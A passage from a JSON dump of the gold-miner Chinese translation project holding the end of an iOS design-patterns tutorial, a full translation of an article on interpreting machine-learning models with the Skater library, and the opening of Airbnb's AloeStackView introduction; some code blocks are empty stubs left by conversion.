`UISegmentedControl`，它们应该将控件上的任何点击事件通过闭包转发给 **观察者**。`GameViewController` 可以使用这些闭包来调整它使用的 `TurnStrategy`。\n\n**将形状设置保留为可以恢复的首选项**\n提示：将玩家选择的形状类型存储在 `UserDefaults` 中。尝试使用一下 **外观** 模式（[详细说明](http://en.wikipedia.org/wiki/Facade_pattern)）来隐藏你对其他人的持久性机制的选择。\n\n**允许玩家选择游戏的配色方案**\n提示：使用 `UserDefaults` 来持久化存储玩家的选择。创建一个可以接受持久选择并相应地调整应用程序的 UI 的 `ShapeViewBuilder`。当配色方案更改时，你是否可以使用 `NotificationCenter` 来通知所有相关的 view 来作出相应的更新呢？\n\n**每当玩家获胜时发出庆祝的铃声，失败时发出悲伤的铃声**\n提示：扩展 `GameView` 和 `GameViewController` 之间使用的 **观察者** 模式。\n\n**使用依赖注入将 Scorer 传递给 TurnController**\n提示：从初始化器中移除对 `MatchScorer` 和 `StreakScorer` 的引用。\n\n感谢你完成本教程！你可以在评论区分享你的问题和想法以及提升游戏逼格的方法。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/interpreting-predictive-models-with-skater-unboxing-model-opacity.md",
    "content": "> * 原文地址：[Interpreting predictive models with Skater: Unboxing model opacity](https://www.oreilly.com/ideas/interpreting-predictive-models-with-skater-unboxing-model-opacity)\n> * 原文作者：[Pramit Choudhary](https://www.oreilly.com/people/2391d-pramit-choudhary)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/interpreting-predictive-models-with-skater-unboxing-model-opacity.md](https://github.com/xitu/gold-miner/blob/master/TODO1/interpreting-predictive-models-with-skater-unboxing-model-opacity.md)\n> * 译者：[radialine](https://github.com/radialine)\n> * 校对者：[ALVINYEH](https://github.com/ALVINYEH)、[luochen1992](https://github.com/luochen1992)\n\n# 用 Skater 解读预测模型：打开模型的黑箱\n\n本文将把模型解释作为一个理论概念进行深入探讨，并对 Skater 进行高度概括。\n\n![立方体模型](https://d3tdunqjn7n0wj.cloudfront.net/360x240/model-3211631_1920_crop-e62adea7b63b80a1074f5023cec1e4cd.jpg)\n\n立方体模型（来源：[Pixabay](https://pixabay.com/en/model-3d-background-cube-blue-3211631/)）\n\n> [查看 Pramit Choudhary 在纽约 AI 会议上的演讲“深度学习中的模型评估” 2018.04.29 - 2018.05.02](https://conferences.oreilly.com/artificial-intelligence/ai-ny/public/schedule/detail/65118?intcmp=il-data-confreg-lp-ainy18_new_site_interpreting-predictive-models-with-skater-unboxing-model-opacity_top_cta)\n\n多年来，机器学习（ML）已经取得了长足的发展，它从纯粹的学术环境中作为实验研究的存在，到被行业广泛采用成为自动化解决实际问题的手段。但是，由于对这些模型的内部运作方式缺乏了解，这些算法通常仍被视为魔术（参见 [Ali Rahimi, NIPS'17](https://youtu.be/Qi1Yry33TQE)）。因此常常需要通常验证这种 ML 系统的运作过程，以使算法更加可信。研究人员和从业人员正在努力克服依赖可能对人类生活产生意想不到影响的预测模型所带来的道德问题，这类预测模型有评估抵押贷款资格模型，或为自动驾驶汽车提供动力的算法（参见 Kate Crawford, NIPS '17，[“偏差带来的麻烦”](https://youtu.be/6Uao14eIyGc)）。数据科学家 Cathy O’Neil 最近撰写了[一本书](https://weaponsofmathdestructionbook.com/author/mathbabe/)，其内容全部是可解释性差模型的例子，这些模型提出了对潜在社会大屠杀的严重警告 —— 例如，[犯罪判决模型中的模型偏见](https://www.propublica.org/article/machine-bias-risk-assessments-in-criminal-sentencing)或在建立财务模型时因为人为偏见使用虚假特征的例子。\n\n![传统的解释预测模型的方法是不够的](https://d3ansictanv2wj.cloudfront.net/FigureArt-0eccc75aa2e5a5f72e91ef990cb2dc59.png)\n\n图 1：传统的解释预测模型的方法是不够的。图片由 Pramit Choudhary 提供。\n\n在平衡模型的可解释性和性能方面也存在[折衷](https://www.ncbi.nlm.nih.gov/pubmed/21554073)。从业者通常选择线性模型而不是复杂模型，牺牲性能换取更好的可解释性。对于那些预测错误后果不严重的用例而言，这种方式是可行的。但在某些情况下，如[信用评分](https://www.consumer.ftc.gov/articles/pdf-0096-fair-credit-reporting-act.pdf)或[司法系统](https://www.propublica.org/article/making-algorithms-accountable)的模型必须既高度准确又易于理解。事实上，法律已经要求保证这类预测模型的公平性和透明度。\n\n我在 [DataScience.com](https://www.datascience.com/) 作为首席数据科学家时，我们对帮助从业者使用模型确保安全性、无差别和透明度这份工作充满激情。我们认识到人类的可解释性的需求，因此最近我们开源了一个名为 [Skater](https://www.datascience.com/resources/tools/skater) 的 Python 框架，作为为数据科学领域的研究人员和应用从业人员提供模型解释性的第一步。\n\n模型评估是一个复杂的问题，因此我将分两部分进行讨论。在第一部分中，我将把模型解释作为一个概念进行深入探讨，并对 Skater 进行高度概括。在第二部分中，我将分享 Skater 目前支持的算法的详细解释以及 Skater 库的未来功能蓝图。\n\n## 什么是模型解释？\n\n在机器学习领域，模型解释还是一个新的、很大程度上主观的、有时还存在争议的概念。（参见 [Yann LeCun 对 Ali Rahimi 谈话的看法](https://www.facebook.com/yann.lecun/posts/10154938130592143)）模型解释能够解释和验证预测模型决策，以实现算法决策的公平性，问责性和透明度（关于机器学习透明度定义的更详细解释，请参见 Adrian Weller 的文章[“透明度挑战”](https://arxiv.org/pdf/1708.01870.pdf) ）。更正式的说明是，模型解释可以被定义为以人类可解释的方式，更好地理解机器学习响应函数的决策策略以解释自变量（输入）和因变量（目标）之间关系的能力。\n\n理想情况下，您应该能够探究模型以了解其算法决策的内容，原因和方式。\n\n*   **模型提供了哪些信息来避免预测错误？**您应该能够探究和了解潜在变量之间的相互作用，以便及时评估和了解是什么特征推动了预测。这些信息将确保模型的公平性。\n*   **为什么这个模型的有这样的表现？**您应该能够识别和验证驱动模型决策的相关变量。这样做可以让您即使在无法得到所预测的真实数据的情况下，也相信预测模型的可靠性。这样的模型理解将确保模型的可靠性和安全性。\n*   **我们怎样才能相信模型所做的预测？**您应该能够验证任何给定的数据，以向业务利益相关方证明该模型的表现确实和预期一致。这将确保模型的透明度。\n\n## 现有技术捕捉模型的解释\n\n模型解释是为了更好地理解数学模型，这种理解最有可能通过更好地了解模型中重要的特征来获得。理解方式可以是使用流行的数据探索和可视化方法，如[层次聚类](https://en.wikipedia.org/wiki/Hierarchical_clustering)和降维技术来实现。模型的进一步评估和验证可以使用比较模型的算法，使用模型特性评分方法 —— AUC-ROC（[接收者操作特征曲线下面积](http://www.math.utah.edu/~gamez/files/ROC-Curves.pdf)）和 MAE（[平均绝对误差](https://medium.com/human-in-a-machine-world/mae-and-rmse-which-metric-is-better-e60ac3bde13d)）进行分类和回归。让我们快速谈谈其中的一些方法。\n\n### 探索性数据分析和可视化\n\n探索性数据分析可以让您更好地了解您的数据，从而提供构建更好预测模型所需的专业知识。在模型建立过程中，理解模型意味着探索数据集，以便可视化并理解其“有意义”的内部结构，并以容易理解的方式提取有强影响力的直观特征。这种方式对于无监督学习问题可能更加有用。我们来看看属于模型解释类别的一些流行数据探索技术。\n\n*   **聚类：**[分层聚类](https://en.wikipedia.org/wiki/Hierarchical_clustering)\n*   **降维：**[主成分分析（PCA）](https://lazyprogrammer.me/tutorial-principal-components-analysis-pca/)（见图 2）\n*   **变分自编码器：**使用[变分自编码器](https://arxiv.org/pdf/1606.05908.pdf)（VAE）的自动生成方法\n*   **[流形学习](https://en.wikipedia.org/wiki/Nonlinear_dimensionality_reduction)：**t 分布式随机相邻嵌入（[t-SNE](https://distill.pub/2016/misread-tsne/)）（见图 3）\n\n在本文中，我们将重点讨论监督学习问题的模型解释。\n\n![解释高维 MNIST 数据](https://d3ansictanv2wj.cloudfront.net/Figure1-f6f5f16454b0120a1607e76836236b23.png)\n\n图 2：使用 PCA 以三维可视化技术解释高维 MNIST 数据，以便使用 TensorFlow 构建领域知识。图片由 Pramit Choudhary 和 Datascience.com 团队提供。\n\n![可视化 MNIST 数据](https://d3ansictanv2wj.cloudfront.net/Figure2-2cd5b53ded24be25e376418d041a0bee.png)\n\n图 3：用 sklearn 库可视化 MNIST 数据。图片由 Pramit Choudhary 和 Datascience.com 团队提供。\n\n### B. 模型比较和性能评估\n\n除了数据探索技术外，还可以使用[模型评估技术](https://sebastianraschka.com/blog/2016/model-evaluation-selection-part1.html)进行简单的模型解释。分析师和数据科学家可能会使用模型比较和评估方法来评估模型的准确性。例如，使用交叉验证和评估指标进行分类和回归，您可以衡量预测模型的[性能](https://www.cs.cornell.edu/courses/cs578/2003fa/performance_measures.pdf)。您可以通过优化超参数调整偏差与方差之间的平衡（请参阅文章[“了解偏差 - 方差取舍”](http://scott.fortmann-roe.com/docs/BiasVariance.html)）。\n\n*   **分类：**如 F1-scores，AUC-ROC，brier-score 等。如图 3，该图显示了 AUC-ROC 如何帮助衡量流行虹膜数据集的分类模型的模型性能。ROC AUC 是一种广泛使用的指标，有助于在真阳性率（TPR）和假阳性率（FPR）之间进行平衡。它在处理偏斜类问题上也非常强大。如图 3 所示，86％的 ROC AUC（ 2 类）意味着训练的分类器向正例（属于 2 类）分配较高分数的概率与负例（不属于 2 类）相比约为 86％。这种汇总的性能指标有助于阐明模型的整体性能。但是，如果分类错误，它并不能给出关于错误分类原因的详细信息 —— 为什么属于 0 类的例子被分类为 2 类，属于 2 类的例子却被分为 1 类？不能忽略的事实是，每个错误分类都可能造成不同程度的潜在业务影响。\n*   **回归：**例如，r-square 值（[决定系数](http://itfeature.com/correlation-and-regression-analysis/coefficient-of-determination)），均方误差等。\n\n![使用 ROC 曲线衡量模型性能](https://d3ansictanv2wj.cloudfront.net/Figure3-ed3699bfaad2cc688ba68e0c0bf1dea5.png)\n\n图 4：通过计算 Iris 数据集的接收者操作特征曲线（ROC 曲线）下面积，使用 sklearn 库解决多类问题，从而测量模型性能。图片由 Pramit Choudhary 和 Datascience.com 团队提供。\n\n## 为什么需要更好的模型解释？\n\n如果预测模型的目标函数（试图优化的损失函数）与商业指标（与真实目标紧密相关的指标）能够匹配，则使用上述提到的评估技术所计算的数据探索和点估计足以测量样本数据集的总体表现，而且我们知道用于训练的数据集是固定的。 然而，在现实世界中这种情况很少发生，即，使用点估计衡量模型性能是不够的。例如，[入侵检测系统](https://ir.library.louisville.edu/etd/2790/)（IDS）是一种网络安全应用程序，容易被作为逃逸攻击的目标。在逃逸攻击中，攻击者会使对抗输入来击败安全系统（注：[对抗输入](https://arxiv.org/abs/1602.02697)是攻击者有意设计的，用来欺骗机器学习模型做出错误的预测）。这种情况下模型的目标函数可能是实际目标的弱代理。更优化的模型解释需要识别算法中的盲点，以便通过修复易受对抗攻击的训练数据集来构建安全的模型（有关进一步阅读，请参见 Moosavi-Dezfooli et al., 2016, [**DeepFool**](https://arxiv.org/pdf/1511.04599.pdf), Goodfellow et al., 2015，[**解释和利用对抗样本**](https://arxiv.org/abs/1412.6572)）。\n\n此外，在静态数据集上训练时（不考虑新数据中的变化），模型的性能会随着时间的推移而稳定下来。例如，现有的特征空间可能在模型在新的环境操作之后发生了变化，或者训练数据集中添加了新数据，引入了新的未观察到的关联关系。这意味着简单地重新训练模型不足以改进模型的预测。为了有效地调试模型以理解算法行为或将新的关联关系结合到数据集中，需要更好的模型解释方法。\n\n也许还有一种情况：模型的预测本质上是正确的 —— 模型的预测与预期一致 —— 但由于[数据偏倚](https://www.nytimes.com/2014/11/25/opinion/is-harvard-unfair-to-asian-americans.html?_r=0)，它无法证明其在社会环境中的决策是合理的（例如，[“仅仅因为我喜欢黑泽并不意味着我想看《忍者小英雄》“](https://www.cinemablend.com/pop/Netflix-Using-Amazon-Cloud-Explore-Artificial-Intelligence-Movie-Recommendations-62248.html)）。此时，可能需要对算法的内部工作进行更严格和透明的诊断，以建立更有效的模型。\n\n即使有人不同意所有上述原因作为需要更好模型解释这个需求的动机，传统的模型评估形式需要对统计测试的算法或特性有一个合理的理论认识。非专家可能很难掌握有关算法的细节并常常导致数据驱动行为失败。人类可理解的模型解释（HII）可以提供有用信息，可以轻松地在同行（分析师，管理人员，数据科学家，数据工程师）之间共享。\n\n使用这种可以根据输入和输出来进行解释的方式，有助于促进更好的沟通和协作，使企业能够做出更加自信的决定（例如[金融机构的风险评估/审计风险分析](https://www.journalofaccountancy.com/issues/2006/jul/assessingandrespondingtorisksinafinancialstatementaudit.html)）。重申一下，目前我们将模型解释定义为在监督学习问题上，模型解释能够考虑预测模型的公平性（无偏性/无差别性）、问责性（产生可靠结果）和透明度（能够查询和验证预测性决策）。\n\n## 性能和与解释之间的二分法\n\n算法的性能和可解释性之间似乎有一个基本的平衡。从业人员通常使用更容易解释的模型（简单线性，逻辑回归和决策树）来解决问题，因为这些模型更容易被验证和解释。如果能够理解其内部原理或其决策方法，就能够信任模型。但是，当人们试图应用这些预测模型，使用高维异构复杂数据集来解决实际问题（自动化信贷应用程序，检测欺诈或预顾客终生价值）时，解释模型往往在性能方面表现不好。由于从业者试图使用更复杂的算法来提高模型的性能（如准确性），他们常常[难以在性能和可解释性之间取得平衡](https://www.oreilly.com/ideas/predictive-modeling-striking-a-balance-between-accuracy-and-interpretability)。\n\n![模型性能和可解释性的对比](https://d3ansictanv2wj.cloudfront.net/Figure4-c4705368d6a633a22b5aa7ef3aa027d4.png)\n\n图 5：模型性能和可解释性的对比。图片由 Pramit Choudhary 和 Datascience.com 团队提供。\n\n借用一个例子，我们来看看平衡性能和解释性的问题。参考上图 5。假设有人正在建立一个模型来预测特定客户群体的贷款审批结果。使用线性模型（例如线性分类器，如使用对数损失函数的[逻辑回归](https://en.wikipedia.org/wiki/Logistic_regression)或回归的[普通最小二乘法](https://en.wikipedia.org/wiki/Ordinary_least_squares)（OLS））更易于解释，因为输入变量与模型输出之间的关系可以使用模型的系数在量值和方向上进行量化权重。如果决策边界单调递增或递减，这种思路就行得通。但是，真实世界的数据很少出现这种情况。因此产生了模型的性能和可解释性之间的平衡问题。\n\n为了捕捉自变量和模型的响应函数之间的非单调关系，通常需要使用更复杂的模型：集成、有大量决策树的随机森林或有多重隐藏的神经网络层。随着文本（使用[分层相关传播（LRP）](http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0130140)[**解释 NLP 中的非线性分类器的预测**](https://arxiv.org/abs/1606.07298)）、计算机视觉（Ning et.al，NIPS'17，[**相关输入概念到卷积神经网络决策**](https://arxiv.org/abs/1711.08006)）和基于语音的模型需求的复杂度增加，模型可解释性需求也在增加。例如，对基于语言的模型的理解仍然是一个[棘手的问题](https://www.oreilly.com/ideas/language-understanding-remains-one-of-ais-grand-challenges)，因为相似词语的使用存在模糊性和不确定性。使用人类可解释性来理解语言模型中的这种模糊性对于构建用例特定规则来理解、验证和改进模型决策十分有用。\n\n## 介绍 Skater\n\n在 Datascience.com，我们在许多分析用例和项目中遇到了解释性挑战，因此了解到我们需要更好的模型解释 —— 最好是用人类解释性解释（HII）作为输入变量和模型输出（非专家人员也容易理解）。我记得曾经在一个项目上，我们正在建立一个机器学习模型来总结消费者评论。我们想要捕捉消费者情绪（正面或负面）以及每种情绪的具体原因。受时间限制，我们认为值得尝试使用现成的模型进行情绪分析。我们研究了市场上的许多机器学习模型，但由于信任问题，我们无法决定使用哪个，并且体会到了需要用更好的方式来解释、验证和确认模型的必要。\n\n然而我们当时无法在市场上找到一个能够始终如一地支持全局（基于完整数据集）和局部（基于[单个预测](https://arxiv.org/abs/0912.1128)）解释的成熟的开源库，因此我们从零开发了一个库：Skater（见图 6）。\n\nSkater 是一个 Python 库，旨在解释使用任意语言或框架的任意类型的预测模型的内部行为。目前，它能够解释监督学习算法。\n\n![全局解释和局部解释的总结](https://d3ansictanv2wj.cloudfront.net/Figure5-452aaf48771d7e201175954c1de6eed1.png)\n\n图 6：全局解释和局部解释的总结。图片由 Pramit Choudhary 和 Datascience.com 团队提供。\n\n目前支持的解释算法是事后性质的。与之类似，虽然 Skater 提供了一种事后机制来评估和验证基于自变量（输入）和因变量（目标）的预测模型的内部行为，但它不支持构建可解释模型（例如[规则集](https://arxiv.org/abs/0811.1679)、[弗里德曼](https://arxiv.org/find/stat/1/au:+Friedman_J/0/1/0/all/0/1)、[贝叶斯规则列表](https://arxiv.org/abs/1511.01644)）。\n\n这种方法有助于我们根据分析用例将解释性应用到机器学习系统中 —— 因为事后操作可能很昂贵，并且可能不是一直需要宽泛的解释。Skater 库采用了面向对象和功能性编程范例，以保证提供可伸缩性和并发性的同时，保持代码简洁性。图 7 显示了这种可解释系统的高层次简述。\n\n![使用 Skater 解释机器学习系统](https://d3ansictanv2wj.cloudfront.net/Figure6-53d0033f567200502a5a56f5610257ba.png)\n\n图 7：一个使用 Skater 的可解释的机器学习系统，使用者能够优化泛化错误，从而获得更好和更有可信度的预测。图片由 Pramit Choudhary 和 Datascience.com 团队提供。\n\n### 用 Skater 解释模型\n\n注意：以下例子的完整代码在图片相关的参考链接中。\n\n使用 Skater 可以做到：\n\n*   **评估模型对完整数据集或单个数据的预测成果：** 通过利用和改进现有技术的组合，Skater 能够做到全局的和局部的模型解释。对于全局解释，目前 Skater 利用模型未知[变量的重要性](http://ftp.uni-bayreuth.de/math/statlib/R/CRAN/doc/vignettes/caret/caretVarImp.pdf)和部分依赖关系图来判断模型的偏差，并了解模型的一般行为。为了验证模型对单一预测的决策策略是否可靠，Skater 采用了一种名为\"局部可理解的与模型无关的解释\"（[LIME](https://arxiv.org/abs/1602.04938)）的新技术，它使用局部替代模型来评估性能（点击获取 [LIME 的更多细节](https://www.oreilly.com/learning/introduction-to-local-interpretable-model-agnostic-explanations-lime)）。其他算法正在研发中。\n\n```\nFrom\n```\n\n![使用 Skater 对比模型](https://d3ansictanv2wj.cloudfront.net/Figure7-0762e7d37531c3e573a90e21cfb224a1.png)\n\n图 8：[不同类型的监督预测模型之间使用 Skater 的比较结果](https://github.com/datascienceinc/Skater/blob/master/examples/ensemble_model.ipynb)。图中，模型未知特征的重要性被用于比较有相似 F1 值的不同模型。根据模型的预测变量的假设、响应变量及其关系，图中可以看到不同的模型类型对特征进行的排序的不同。这种比较方法使得机器学习领域的专家们或非专家们可以评估其选定特征的相关性并得到一致的结果。图片由 Pramit Choudhary 和 Datascience.com 团队提供。\n\n*   **识别潜在变量的交互并建立域知识：** 从业者可使用 Skater 来发现隐藏的特征交互 —— 例如，信用风险模型应该如何使用银行客户的信用记录，如何通过检查账户现状或现有信用额度来批准或拒绝他申请信用卡的请求，并使用该信息进行未来的分析。\n\n```\n# 用模型不可知的部分依赖图进行的全局模型解释\n```\n\n![隐藏特征之间的交互](https://d3ansictanv2wj.cloudfront.net/Figure8-87aabff2421d4c265668030d8c1503cc.jpg)\n\n图 9：[使用乳腺癌数据集的单向和双向交互发掘隐藏特征的交互](https://github.com/datascienceinc/Skater/blob/master/examples/ensemble_model.ipynb)。图片由 Pramit Choudhary 和 Datascience.com 团队提供。\n\n```\n# 使用 LIME 做模型不可知的局部解释\n```\n\n![单个预测的特征相关性](https://d3ansictanv2wj.cloudfront.net/Figure9-178eb31a31928a269986be6c36f5b03a.png)\n\n图 10：[通过 LIME，使用线性代理模型理解单个预测的特征相关性](https://github.com/datascienceinc/Skater/blob/master/examples/ensemble_model.ipynb)。图片由 Pramit Choudhary 和 Datascience.com 团队提供。\n\n*   **衡量模型性能在部署到生产环境后如何变化：** Skater 保证了模型在内存中和运行时模型解释能力的一致性，帮助使用者衡量不同模型版本间的特征交互是如何变化的（如图 11）。若使用机器学习市场上现有预测模型（例如 algorithmia），这种形式的解释也能帮助建立对模型的信任。例如，在图 12 和图 13 中，分别用 indico.io 和 algorithmia 的两个现有情绪分析模型对 IMBD 内《纸牌屋》的影评进行分析，并使用 Skater 比较两个模型并进行评价。两个模型都得出了影评中的情绪是积极情绪的结果（1 为积极，0 为消极）。但是，indico.io 的模型考虑了停止词，例如“是”，“那个”和“属于”，这些词在大多情况下应该被忽略。因此，尽管与 algorithmia 相比，indico.io 的模型能得出更高概率的积极情绪，但最后被采用的可能是 indico.io 的模型。\n\n![仍在内存中的模型和已部署模型的解释需求](https://d3ansictanv2wj.cloudfront.net/Figure10-a24a43e0b4db2062565adf38a04e75f1.png)\n\n图 11：高亮了在内存中的模型（未运行的模型）和已部署模型（已运行的模型）的解释需求。更好的解释特征的方法会带来更好的特征工程和特征选择。图像来源：在 Juhi Sodani 和 Datascience.com 团队的帮助下设计的图像。\n\n```\n# 使用 Skater 验证市场上的第三方 ML 模型\n```\n\n![解释现有模型](https://d3ansictanv2wj.cloudfront.net/Figure11-17c1f9d9e6d651ea22eddb16e9116947.png)\n\n图 12：在使用 [indico.io 的预训练过的部署模型](https://github.com/datascienceinc/Skater/blob/master/examples/third_party_model/algorithmia_indico.ipynb)中解释模型。图片由 Pramit Choudhary 和 Datascience.com 团队提供。\n\n![解释现有模型](https://d3ansictanv2wj.cloudfront.net/Figure12-609514e916a9ff0655369f5384e59961.png)\n\n图 13：在使用 [algorithmia 的预训练过的部署模型](https://github.com/datascienceinc/Skater/blob/master/examples/third_party_model/algorithmia_indico.ipynb)中解释模型。图片由 Pramit Choudhary 和 Datascience.com 团队提供。\n\n## 结论\n\n在当前的预测建模市场环境中，为了提高透明度而出现的能够解释和证明算法决策策略的技术方法将发挥重要作用。尤其对于有监管需求的行业，模型的解释说明能够促进更复杂的算法的应用。随着 Skater 的初始发布，我们正在帮助机器学习领域的专家们和非专家们，朝着提高预测模型的决策策略的公平性、问责性和透明度迈出新的一步。如果您想了解更多在实际案例中应用 Skater 模型解释功能的例子，您可以查看用[《基于 Python 的实用机器学习》](https://github.com/dipanjanS/practical-machine-learning-with-python)一书。\n\n在本系列的第二部分中，我们将深入了解 Skater 目前支持的算法以及未来的规划，以更好地进行模型解释。\n\n![总结 Skater](https://d3ansictanv2wj.cloudfront.net/Figure13-9efdc5a382e6e30da27c611a3b58288d.png)\n\n图 14：总结 Skater。图片由 Pramit Choudhary 和 Datascience.com 团队提供。\n\n想了解更多信息，请查阅[资源和工具](https://www.datascience.com/resources/tools/skater)、[例子](https://github.com/datascienceinc/Skater/tree/master/examples)，或 [gitter channel](https://gitter.im/datascienceinc-skater/Lobby)。\n\n### 致谢\n\n我想特别感谢 Aaron Kramer、Brittany Swanson、Colin Schmidt、Dave Goodsmith、Dipanjan Sarkar、Jean-RenéGauthie、Paco Nathan、Ruslana Dalinina 以及所有不知名评论者在我撰写本文的过程中帮助我。\n\n### 参考和延伸阅读\n\n*   Zachary C. Lipton, 2016. _[The Mythos of Model Interpretability](https://arxiv.org/pdf/1606.03490v2.pdf)_\n*   Marco Tulio Ribeiro, Sameer Singh, Carlos Guestrin. [_Nothing Else Matters: Model-Agnostic Explanations By Identifying Prediction Invariance_](https://arxiv.org/abs/1611.05817), 2016\n*   Finale Doshi-Velez and Been Kim, 2017. [_Towards A Rigorous Science of Interpretable Machine Learning_](https://arxiv.org/abs/1702.08608)\n*   [Parliament and Council of the European Union](http://ec.europa.eu/justice/data-protection/reform/files/regulation_oj_en.pdf). General data protection regulation, 2016\n*   [\"Ideas on interpreting Machine Learning\"](https://www.oreilly.com/ideas/ideas-on-interpreting-machine-learning)\n*   [_Explaining and Interpreting Deep Neural Networks_](http://iphome.hhi.de/samek/pdf/DTUSummerSchool2017_1.pdf)\n*   John P. Cunningham et. al, 2016. [_Linear Dimensionality Reduction_](https://arxiv.org/pdf/1406.0873.pdf)\n*   Saleema Amershi et.al, 2015. [_Model Tracker_](https://www.microsoft.com/en-us/research/wp-content/uploads/2016/02/amershi.CHI2015.ModelTracker.pdf)\n*   [Peter Norvig’s thoughts on value of explainable AI](https://www.computerworld.com.au/article/621059/google-research-chief-questions-value-explainable-ai/)\n*   Kate Crawford et. al, 2014: [_Toward a Framework to Redress Predictive Privacy Harms_](http://lawdigitalcommons.bc.edu/cgi/viewcontent.cgi?article=3351&context=bclr)\n*   A. Weller, ICML 2017: [_Challenges for Transparency_](https://arxiv.org/abs/1708.01870)\n*   [\"Inspecting algorithms for bias\"](https://www.technologyreview.com/s/607955/inspecting-algorithms-for-bias/)\n*   [\"There is a blind spot in AI research,\"](https://www.nature.com/news/there-is-a-blind-spot-in-ai-research-1.20805) Kate Crawford & Ryan Calo\n*   [PCA](https://lazyprogrammer.me/tutorial-principal-components-analysis-pca/)\n*   [How to use t-SNE effectively](https://distill.pub/2016/misread-tsne/)\n*   Sebastian Raschka, 2016. [_Model Evaluation and Selection_](https://sebastianraschka.com/blog/2016/model-evaluation-selection-part1.html)\n\n查看 Pramit Choudhary 在 2018.04.29 - 05.02 纽约人工智能会议上的演讲，[“深度学习中的模型评估”](https://conferences.oreilly.com/artificial-intelligence/ai-ny/public/schedule/detail/65118?intcmp=il-data-confreg-lp-ainy18_new_site_interpreting-predictive-models-with-skater-unboxing-model-opacity_end_cta)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/introducing-aloestackview-for-ios.md",
    "content": "> * 原文地址：[Introducing AloeStackView for iOS](https://medium.com/airbnb-engineering/introducing-aloestackview-for-ios-a676d253c6ba)\n> * 原文作者：[Marli Oshlack](https://medium.com/@marli.oshlack?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-aloestackview-for-ios.md](https://github.com/xitu/gold-miner/blob/master/TODO1/introducing-aloestackview-for-ios.md)\n> * 译者：[LoneyIsError](https://github.com/LoneyIsError)\n> * 校对者：[Weslie](https://github.com/iWeslie)\n\n# 介绍适用于 iOS 的 AloeStackView\n\n一个简单的开源类，通过一些方便的 API 来对视图集合进行布局。\n\n![](https://cdn-images-1.medium.com/max/1000/1*vSbYW1xdhd0x9gXKJZDvYA.png)\n\n在 Airbnb iOS APP 中，大约有 200 个页面是通过使用 AloeStackView 构建的。\n\n在 Airbnb，我们一直在寻找提高构建产品效率的方法。\n\n在过去几年中，我们的移动开发工作以惊人的速度增长。仅在过去一年中，我们就已经为我们的 iOS 应用添加了超过 260 个页面。与此同时，越来越多的人开始使用我们的原生移动应用程序。这种趋势没有显示出放缓的迹象。\n\n大约两年前，我们详尽讨论了我们在 iOS 上如何构建产品，看看是否有提高开发效率的空间。我们发现的一个主要问题是，在我们的 iOS 应用中实现一个新的页面需要花费数天甚至数周的开发时间。\n\n所以我们要着手改变这一点。我们希望找到一个尽可能比我们想象的还要快的方法来构建页面。我们希望工程师能够在在几分钟或几小时内为 iOS 应用添加新页面，而不是数天或数周的时间。\n\n在过去两年中，我们在快速构建高质量的 iOS UI 方面吸取了许多教训。\n\n基于其中的一些知识，我们今天非常兴奋地介绍我们在 Airbnb 开发过程中的一种工具，以帮助您快速，轻松，高效地编写 iOS UI。\n\n### AloeStackView 简介\n\n在 Airbnb，我们从 2016 年开始在我们的 iOS 应用程序中使用 [AloeStackView](https://github.com/airbnb/AloeStackView)，并且已经使用它在应用程序中实现了近 200 个页面。用例非常多样化：从设置页面的使用到创建新的列表，再到列表状的操作弹层(例如 UIActionSheet)。\n\nAloeStackView 是一个允许在垂直列表中布局视图集合的类。从广义上讲，它类似于 UITableView，但它的实现是完全不同的，它做了不同的权衡取舍。\n\nAloeStackView 首先着重于使 UI 非常快速，简单和直接实现。它以以下两种方式来实现这一点:\n\n*   它利用自动布局的强大功能在更改视图时自动更新 UI。\n*   它放弃了 UITableView 的一些功能，例如视图回收，以实现更简单，更安全的 API。\n\n### 简化 iOS UI 开发\n\n当我们研究如何提高 iOS 开发效率时，我们意识到的第一件事就是在应用程序中实现最小的页面需要做多少工作。\n\n事实证明，引入了设计用于处理大型和复杂页面的抽象，有时会成为较小页面的负担。\n\n通常，较小的页面不会受益于这些抽象提供的优点。例如，如果 UI 完全适合单个页面，那么它将不会从视图回收中受益。显然，如果我们使用围绕视图回收的抽象来构建单个页面，那么我们必须要为这个功能增加的 API 复杂性付出代价。\n\n为了解决这个问题，我们首先寻找更简单的方法来编写页面。我们发现的一种非常有效的技术是使用嵌套在 UIScrollView 中的 UIStackView 来布局页面。这种方法成为我们构建 AloeStackView 